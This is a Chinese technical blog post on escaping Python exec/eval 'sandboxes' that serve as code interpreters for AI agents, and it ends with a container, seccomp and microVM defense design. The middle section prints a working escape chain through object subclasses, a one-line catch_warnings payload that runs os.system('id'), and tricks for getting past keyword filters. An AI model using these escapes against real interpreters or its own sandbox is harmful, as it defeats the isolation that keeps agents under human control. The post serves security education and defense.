/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */
#content_views .toc,
/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */
#content_views.markdown_views > p:empty:has(+ .toc),
#content_views.markdown_views > .toc + p:empty,
/* 富文本旧版目录标记 */
#content_views.htmledit_views #main-toc,
#content_views.htmledit_views #hr-toc,
#content_views.htmledit_views p[id*=\”-toc\”] {
display: none !important;
}
/* 目录去掉后,紧跟的首个标题不再多出一块上边距 */
#content_views.markdown_views > .toc + h1,
#content_views.markdown_views > .toc + h2,
#content_views.markdown_views > .toc + h3,
#content_views.markdown_views > .toc + h4,
#content_views.markdown_views > .toc + p:empty + h1,
#content_views.markdown_views > .toc + p:empty + h2,
#content_views.markdown_views > .toc + p:empty + h3,
#content_views.markdown_views > .toc + p:empty + h4 {
margin-top: 0 !important;
}
Agent 沙箱逃逸实验(一):Python exec/eval 环境下的内建属性穿透

在当下以大模型为核心的智能体(AI Agent)系统中,代码解释器(Code Interpreter)是最基础也最强大的工具之一。为了让 Agent 能够进行数学计算、数据分析或自动化运维,后端通常会提供一个能够动态执行 Python 代码的环境。许多开发者最初为了“轻量”和“快速部署”,往往选择使用 Python 内置的 exec() 或 eval(),并简单地通过清空全局命名空间来作为所谓的“安全沙箱”。这种基于应用层黑名单或简单作用域隔离的防御,在 Python 强大的反射和对象模型面前几乎形同虚设。
经典“伪沙箱”实现的致命缺陷
许多初学者或缺乏攻防经验的开发团队,通常会写出如下代码来尝试限制用户代码的执行权限:
# 典型的不安全 Python 伪沙箱实现
def unsafe_sandbox_run(code_str: str):
# 试图禁用 __builtins__
restricted_globals = {"__builtins__": {}}
restricted_locals = {}
try:
# 执行代码
return exec(code_str, restricted_globals, restricted_locals)
except Exception as e:
return f"Execution Error: {e}"
开发者的直觉是:既然已经将 __builtins__ 置空,那么像 import、open()、eval()、__import__ 这种内置函数和关键方法就无法被调用,系统自然是安全的。
然而,Python 是一门高度动态、一切皆对象的语言。即使全局变量字典中的 __builtins__ 被清空,当前运行时加载的所有对象、类型及其继承链依然完整地驻留在内存中。只要用户能声明任意一个基础对象(例如一个空字典 {}、空列表 []、空字符串 "" 或一个数字),就能顺着 Python 的对象继承链一路向上攀爬,最终触达整个运行时的底层命名空间。
内建属性穿透与对象链攀爬机理
Python 的对象模型中存在几个关键的魔术属性(Magic Attributes):
攻击者一旦拿到了 object 类,调用其 __subclasses__() 方法,就可以遍历当前进程加载的数百个甚至上千个类。在这份庞大的类列表中,往往存在大量引用了 os、sys、subprocess 或内建 __builtins__ 的模块和函数。
穿透利用链构造实录
下面这段实验代码展示了如何在清空 __builtins__ 的极端环境下,通过对象链精确定位并恢复危险功能:
# 逃逸利用链分析与 PoC
def explore_object_tree():
# 1. 获取顶级基类 object
obj_class = ().__class__.__bases__[0]
# 2. 遍历所有已加载的子类
subclasses = obj_class.__subclasses__()
print(f"[*] 当前环境已加载子类总数: {len(subclasses)}")
target_func = None
for idx, cls in enumerate(subclasses):
# 寻找拥有 __init__ 并且 __init__ 是 Python 函数的类
if hasattr(cls, "__init__") and hasattr(cls.__init__, "__globals__"):
globs = cls.__init__.__globals__
# 寻找全局命名空间中保留有原始 __builtins__ 或 os 模块的类
if "system" in globs:
print(f"[+] 发现直接包含 system 函数的类: {cls.__name__} (索引: {idx})")
target_func = globs["system"]
break
elif "__builtins__" in globs and isinstance(globs["__builtins__"], dict):
if "eval" in globs["__builtins__"]:
print(f"[+] 发现完整 __builtins__ 字典的类: {cls.__name__} (索引: {idx})")
# 恢复 eval
recovered_eval = globs["__builtins__"]["eval"]
return recovered_eval
return target_func
# 模拟在限制环境下的单行穿透 Payload:
# 利用 warnings.catch_warnings 类中函数作用域逃逸
payload = """
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')
"""
在标准 Python 运行时中,warnings.catch_warnings 对象的 _module 属性直接指向 warnings 模块,而该模块的 __builtins__ 字典中完整保留了原生的 __import__ 函数。这一行 Payload 可以在毫秒内击穿任何仅清空全局 __builtins__ 的纯 Python 沙箱。
绕过关键字与字符过滤的黑客手法
当防御者意识到内建属性危险后,通常会试图增加关键字过滤(例如禁止代码中出现 __class__、import、eval、os 等)。然而,在 Python 解释器灵活的语法下,单纯的字符串黑名单会被轻易绕过:
1. 字符串拼接与编码混淆
如果过滤了双下划线或特定关键字,攻击者可以通过字符串拼接或 Hex 编码动态生成属性名:
# 利用 getattr 与字符串拼接绕过属性名检查
obj = ()
cls = getattr(obj, "__cla" + "ss__")
base = getattr(cls, "__ba" + "ses__")[0]
subclasses = getattr(base, "__sub" + "classes__")()
2. 字符构造与格式化表达
在完全过滤英文字符或引号的极端情况下,甚至可以利用 Python 的格式化字符串、字典键索引或 chr() 组合生成目标字符串:
# 构造下划线与字符
c_under = "%c" % 95
c_name = f"{c_under}{c_under}class{c_under}{c_under}"
3. 基于 AST 抽象语法树校验的局限性
即使开发者采用 ast.parse 解析代码并递归遍历语法树节点,禁止所有的 Import、ImportFrom、Call 节点或对 Attribute 名称做白名单限制,也极易因为语法节点的漏判(如异步生成器、推导式上下文变量泄露、元编程 type() 调用)导致防御被击破。
智能体代码执行环境的防御纵深架构
纯 Python 层的逻辑限制永远无法作为安全边界。要为 AI Agent 打造坚不可摧的代码沙箱,必须实施严格的底层纵深防御(Defense-in-Depth):
+————————————————————-+
| AI Agent 业务调度层 |
+————————————————————-+
| gRPC / REST API
v
+————————————————————-+
| 轻量级微虚机 / 容器隔离层 |
| – Firecracker MicroVM / gVisor (runsc) / nsjail |
| – 独立命名空间 (PID, Mount, Network, UTS, IPC) |
| – 只读根文件系统 (Read-only RootFS) + 临时 tmpfs (带容量配额) |
+————————————————————-+
|
v
+————————————————————-+
| Linux 内核安全策略 |
| – seccomp-bpf (系统调用白名单,严格禁用 ptrace, mount 等) |
| – cgroups v2 (CPU 限制 0.5核, 内存限制 256MB, 进程数限制 32)|
| – 网络完全阻断 (Network Namespace: None,禁止任何出站连接) |
+————————————————————-+
永远不要在 Python 应用层假设输入的安全性。将 Python 进程置于最底层的强隔离硬件/内核边界内,才是保障智能体安全运行的唯一标准答案。

